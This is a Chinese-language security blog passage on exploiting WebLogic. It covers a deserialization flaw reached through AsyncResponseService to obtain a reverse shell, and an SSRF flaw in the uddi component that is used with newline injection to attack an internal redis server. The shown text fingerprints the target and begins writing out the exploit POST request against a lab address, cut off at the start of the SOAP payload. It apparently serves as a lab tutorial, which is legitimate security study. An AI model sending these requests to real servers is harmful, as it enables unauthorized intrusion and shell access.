WebLogic反序列化漏洞&SSRF漏洞

最新推荐文章于 2025-04-08 08:00:00 发布

原创

最新推荐文章于 2025-04-08 08:00:00 发布 · 385 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #网络 #安全

本文详细介绍了WebLogic的反序列化漏洞和SSRF漏洞。反序列化漏洞通过特定URL后的404页面识别，利用AsyncResponseService成功触发并反弹shell。SSRF漏洞出现在uddi组件，通过伪造请求探测内网服务，结合换行注入可攻击内网中的redis服务器，实现shell获取。

一反序列化漏洞

1）、特征
在被检测应用系统url后随机添加字符串，出现的404页面如下：
在这里插入图片描述说明被检测系统的中间件为WebLogic

2）、利用
启动环境
在这里插入图片描述访问AsyncResponseService
说明存在漏洞

kali开启监听
在这里插入图片描述抓取访问AsyncResponseService 的数据包，发送到重发模块，并替换如下

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.133.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 797
content-type: text/xml


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">